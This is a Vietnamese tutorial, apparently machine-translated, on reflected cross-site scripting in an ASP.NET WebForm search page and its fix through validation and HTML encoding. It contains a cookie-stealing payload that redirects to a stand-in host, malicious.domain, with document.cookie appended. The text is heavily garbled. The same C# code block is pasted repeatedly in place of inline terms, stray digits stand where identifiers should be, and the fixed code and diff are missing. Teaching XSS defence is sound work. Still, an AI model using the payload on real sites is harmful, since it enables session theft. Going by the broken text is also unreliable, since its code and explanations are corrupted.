JavaScriptStringEncode là gì?

CWE 80. Cross-Site Scripting [XSS] là một lỗ hổng cho phép người dùng độc hại thực thi các tập lệnh trình duyệt trái phép trong trình duyệt của người dùng của bạn. Trong một cuộc tấn công XSS, kẻ tấn công xác định hoặc khám phá các điều khiển cho phép chúng đưa tập lệnh vào trang HTML thông qua thẻ tập lệnh, thuộc tính và các đường dẫn khác. Kẻ tấn công đạt được điều này thông qua các nguồn đầu vào như biểu mẫu web, cookie và tiêu đề. Các cuộc tấn công XSS có thể được thực hiện liên tục bằng cách làm cho ứng dụng lưu trữ nội dung độc hại [chẳng hạn như trong cơ sở dữ liệu hoặc kho lưu trữ khóa-giá trị] để hiển thị sau này

Ví dụ







    Search


    
        
No result found.
  • ASP ở trên. NET WebForm sử dụng đoạn mã sau đằng sau tệp

    public partial class Search : System.Web.UI.Page
    {
        ...
        protected void searchButton_Click[object sender, EventArgs e]
        {
            var searchTerm = Request.QueryString["search"];
            if [!string.IsNullOrEmpty[searchTerm]]
            {
                termSearched.Text = searchTerm;
                resultSearch.DataSource = DoSearchForTerm[searchTerm];
                resultSearch.DataBind[];
            }
        }
        ...
    }
    

    WebForm này cung cấp cho người dùng khả năng tìm kiếm kết quả dựa trên tham số hộp văn bản đầu vào có tên là

    public partial class Search : System.Web.UI.Page
    {
        ...
        protected void searchButton_Click[object sender, EventArgs e]
        {
            var searchTerm = Request.QueryString["search"];
            if [!string.IsNullOrEmpty[searchTerm]]
            {
                termSearched.Text = searchTerm;
                resultSearch.DataSource = DoSearchForTerm[searchTerm];
                resultSearch.DataBind[];
            }
        }
        ...
    }
    
    9. Ngay sau khi người dùng thực hiện đăng lại bằng cách đẩy
    public partial class Search : System.Web.UI.Page
    {
        ...
        protected void searchButton_Click[object sender, EventArgs e]
        {
            var searchTerm = Request.QueryString["search"];
            if [!string.IsNullOrEmpty[searchTerm]]
            {
                termSearched.Text = searchTerm;
                resultSearch.DataSource = DoSearchForTerm[searchTerm];
                resultSearch.DataBind[];
            }
        }
        ...
    }
    
    0, nó sẽ được xử lý bởi trình xử lý
    public partial class Search : System.Web.UI.Page
    {
        ...
        protected void searchButton_Click[object sender, EventArgs e]
        {
            var searchTerm = Request.QueryString["search"];
            if [!string.IsNullOrEmpty[searchTerm]]
            {
                termSearched.Text = searchTerm;
                resultSearch.DataSource = DoSearchForTerm[searchTerm];
                resultSearch.DataBind[];
            }
        }
        ...
    }
    
    1 [ở trên]. Trình xử lý này nhận đầu vào đã cho, thực hiện tìm kiếm trên dữ liệu có sẵn và hiển thị kết quả. Nó cũng sẽ lấy đầu vào đã cho và hiển thị nó bằng cách sử dụng
    public partial class Search : System.Web.UI.Page
    {
        ...
        protected void searchButton_Click[object sender, EventArgs e]
        {
            var searchTerm = Request.QueryString["search"];
            if [!string.IsNullOrEmpty[searchTerm]]
            {
                termSearched.Text = searchTerm;
                resultSearch.DataSource = DoSearchForTerm[searchTerm];
                resultSearch.DataBind[];
            }
        }
        ...
    }
    
    0 ASP. NET Literal Control trên trang

    Ví dụ: nếu người dùng gửi các đối số tìm kiếm sau

    document.location='//malicious.domain/attackscripts/stealUserCookie.js?'+document.cookie

    Nó sẽ dẫn đến HTML sau

    ...
    
        ...
        
    document.location='//malicious.domain/attackscripts/stealUserCookie.js?'+document.cookie
    No result found.
    ... ...

    NB. Nếu bạn là một ASP. NET, bạn có thể biết về một tính năng có tên là

    public partial class Search : System.Web.UI.Page
    {
        ...
        protected void searchButton_Click[object sender, EventArgs e]
        {
            var searchTerm = Request.QueryString["search"];
            if [!string.IsNullOrEmpty[searchTerm]]
            {
                termSearched.Text = searchTerm;
                resultSearch.DataSource = DoSearchForTerm[searchTerm];
                resultSearch.DataBind[];
            }
        }
        ...
    }
    
    1 và có lẽ bạn cũng đã thấy tính năng này bị tắt một cách rõ ràng đối với WebForm tìm kiếm của chúng tôi. Với tính năng này [có sẵn từ v1. 1 của ASP. NET] bất kỳ nội dung HTML phong phú nào đều bị chặn nếu người dùng cố gắng gửi nội dung đó tới máy chủ. Trong kịch bản tìm kiếm của chúng tôi, điều này sẽ chặn thành công tải trọng độc hại.
    public partial class Search : System.Web.UI.Page
    {
        ...
        protected void searchButton_Click[object sender, EventArgs e]
        {
            var searchTerm = Request.QueryString["search"];
            if [!string.IsNullOrEmpty[searchTerm]]
            {
                termSearched.Text = searchTerm;
                resultSearch.DataSource = DoSearchForTerm[searchTerm];
                resultSearch.DataBind[];
            }
        }
        ...
    }
    
    1 có thể gây rối khi được bật và chỉ nên được coi là biện pháp kiểm soát giảm nhẹ bổ sung để giảm nguy cơ xảy ra sự cố XSS trên trang web. Ngoài ra, hãy nhớ rằng dữ liệu bên ngoài có thể đến từ nhiều nguồn khác nhau và không phải lúc nào dữ liệu này cũng liên quan đến đầu vào của người dùng cuối

    Khi người dùng truy cập trang, tập lệnh sẽ chạy và chuyển hướng trình duyệt đến URL độc hại

    Trong trường hợp này,

    public partial class Search : System.Web.UI.Page
    {
        ...
        protected void searchButton_Click[object sender, EventArgs e]
        {
            var searchTerm = Request.QueryString["search"];
            if [!string.IsNullOrEmpty[searchTerm]]
            {
                termSearched.Text = searchTerm;
                resultSearch.DataSource = DoSearchForTerm[searchTerm];
                resultSearch.DataBind[];
            }
        }
        ...
    }
    
    3 là tập lệnh được lưu trữ từ xa lấy cookie của người dùng -- có sẵn cho JavaScript theo mặc định -- và chuyển cookie đó cho kẻ tấn công. Cookie có thể cho phép họ chiếm quyền điều khiển phiên truy cập của người dùng và có thể chứa một số phần dữ liệu bổ sung có lợi cho kẻ tấn công. Đây chỉ là một trong nhiều cuộc tấn công có thể xảy ra nếu bạn có lỗ hổng XSS

    Bằng cách bất ngờ đưa các tập lệnh độc hại vào nguồn đầu vào của người dùng, kẻ tấn công có thể sử dụng ứng dụng web của bạn để tấn công người dùng của bạn

    Không chỉ các thẻ

    public partial class Search : System.Web.UI.Page
    {
        ...
        protected void searchButton_Click[object sender, EventArgs e]
        {
            var searchTerm = Request.QueryString["search"];
            if [!string.IsNullOrEmpty[searchTerm]]
            {
                termSearched.Text = searchTerm;
                resultSearch.DataSource = DoSearchForTerm[searchTerm];
                resultSearch.DataBind[];
            }
        }
        ...
    }
    
    4 dễ bị tổn thương,
    public partial class Search : System.Web.UI.Page
    {
        ...
        protected void searchButton_Click[object sender, EventArgs e]
        {
            var searchTerm = Request.QueryString["search"];
            if [!string.IsNullOrEmpty[searchTerm]]
            {
                termSearched.Text = searchTerm;
                resultSearch.DataSource = DoSearchForTerm[searchTerm];
                resultSearch.DataBind[];
            }
        }
        ...
    }
    
    5 và các mục nhập độc hại tương tự khác cũng dễ bị tổn thương. Bạn có thể có XSS ở bất kỳ đâu mà đầu vào không đáng tin cậy được đưa vào trang HTML

    NB. Tất cả các trình duyệt hiện đại ngày nay đều hỗ trợ bộ lọc XSS sẽ chặn các cuộc tấn công XSS được phản ánh cơ bản. Có những hạn chế theo ngữ cảnh mà trình duyệt sẽ không thể chặn nó, hoặc tìm kiếm kịch bản nó sẽ bị chặn thành công. Mặc dù bộ lọc là một biện pháp kiểm soát giảm thiểu bổ sung nhưng nó không phải là biện pháp đối phó duy nhất đối với các sự cố XSS. Vì bộ lọc có thể phá vỡ các trang web, nên có một tiêu đề HTTP có tên là

    public partial class Search : System.Web.UI.Page
    {
        ...
        protected void searchButton_Click[object sender, EventArgs e]
        {
            var searchTerm = Request.QueryString["search"];
            if [!string.IsNullOrEmpty[searchTerm]]
            {
                termSearched.Text = searchTerm;
                resultSearch.DataSource = DoSearchForTerm[searchTerm];
                resultSearch.DataBind[];
            }
        }
        ...
    }
    
    6, mà bạn có thể sử dụng để hướng dẫn trình duyệt tắt nó đi. Theo mặc định, mỗi trình duyệt sẽ bật bộ lọc XSS

    Sửa chữa

    Để ngăn Cross-Site Scripting, bạn phải đảm bảo rằng ứng dụng của bạn xử lý chính xác mọi dữ liệu không đáng tin cậy trước khi xuất dữ liệu đó cho người dùng. Trong ví dụ của chúng tôi, chúng tôi muốn xác thực đầu vào bằng cách chỉ cho phép chữ và số và dấu cách và thực hiện mã hóa theo ngữ cảnh cụ thể sẽ thay đổi cách hiển thị văn bản. Mã hóa biến đổi các ký tự có chức năng như cú pháp trong ngữ cảnh đích [chẳng hạn như HTML và JavaScript] thành các phiên bản xuất hiện giống nhau trên màn hình, nhưng sẽ không được phân tích cú pháp dưới dạng cú pháp. Ví dụ: để mã hóa dữ liệu cho đầu ra HTML, hãy thay thế các ký tự như

    public partial class Search : System.Web.UI.Page
    {
        ...
        protected void searchButton_Click[object sender, EventArgs e]
        {
            var searchTerm = Request.QueryString["search"];
            if [!string.IsNullOrEmpty[searchTerm]]
            {
                termSearched.Text = searchTerm;
                resultSearch.DataSource = DoSearchForTerm[searchTerm];
                resultSearch.DataBind[];
            }
        }
        ...
    }
    
    7 và
    public partial class Search : System.Web.UI.Page
    {
        ...
        protected void searchButton_Click[object sender, EventArgs e]
        {
            var searchTerm = Request.QueryString["search"];
            if [!string.IsNullOrEmpty[searchTerm]]
            {
                termSearched.Text = searchTerm;
                resultSearch.DataSource = DoSearchForTerm[searchTerm];
                resultSearch.DataBind[];
            }
        }
        ...
    }
    
    8, là các ký tự có ý nghĩa đặc biệt trong tài liệu HTML, với các chuỗi tương đương không thể thay đổi cấu trúc của ngữ cảnh xung quanh

    Dưới đây là mã cố định

    public partial class Search : System.Web.UI.Page
    {
        ...
        protected void searchButton_Click[object sender, EventArgs e]
        {
            var searchTerm = Request.QueryString["search"];
            if [!string.IsNullOrEmpty[searchTerm]]
            {
                termSearched.Text = searchTerm;
                resultSearch.DataSource = DoSearchForTerm[searchTerm];
                resultSearch.DataBind[];
            }
        }
        ...
    }
    
    3lượt xem khác

    Dưới đây là một sự khác biệt minh họa những thay đổi

    public partial class Search : System.Web.UI.Page
    {
        ...
        protected void searchButton_Click[object sender, EventArgs e]
        {
            var searchTerm = Request.QueryString["search"];
            if [!string.IsNullOrEmpty[searchTerm]]
            {
                termSearched.Text = searchTerm;
                resultSearch.DataSource = DoSearchForTerm[searchTerm];
                resultSearch.DataBind[];
            }
        }
        ...
    }
    
    4chỉ xem mã cố định

    Nếu kẻ tấn công cố gắng chạy cùng một đầu vào độc hại như trước đây, thì việc xác thực biểu thức chính quy sẽ không thành công và sẽ không thể thực hiện XSS. Nếu vì lý do nào đó việc xác thực bị bỏ qua hoặc bị vô hiệu hóa, mã hóa HTML sẽ làm cho đầu ra trông như sau

    ...
    
        ...
        
    document.location='//malicious.domain/attackscripts/stealUserCookie.js?'+document.cookie
    No result found.
    ... ...

    ```

    Trình duyệt diễn giải chính xác

    public partial class Search : System.Web.UI.Page
    {
        ...
        protected void searchButton_Click[object sender, EventArgs e]
        {
            var searchTerm = Request.QueryString["search"];
            if [!string.IsNullOrEmpty[searchTerm]]
            {
                termSearched.Text = searchTerm;
                resultSearch.DataSource = DoSearchForTerm[searchTerm];
                resultSearch.DataBind[];
            }
        }
        ...
    }
    
    9 dưới dạng văn bản để hiển thị thay vì thẻ để diễn giải, vì vậy tập lệnh sẽ không chạy. Thay vào đó, văn bản bằng chữ như đã gửi xuất hiện dưới dạng đầu ra. Sử dụng cách tiếp cận này với một phương pháp được chọn cho đúng ngữ cảnh [
    document.location='//malicious.domain/attackscripts/stealUserCookie.js?'+document.cookie
    0,
    document.location='//malicious.domain/attackscripts/stealUserCookie.js?'+document.cookie
    1, v.v. ] có thể ngăn chặn một loạt các cuộc tấn công XSS

    Chủ Đề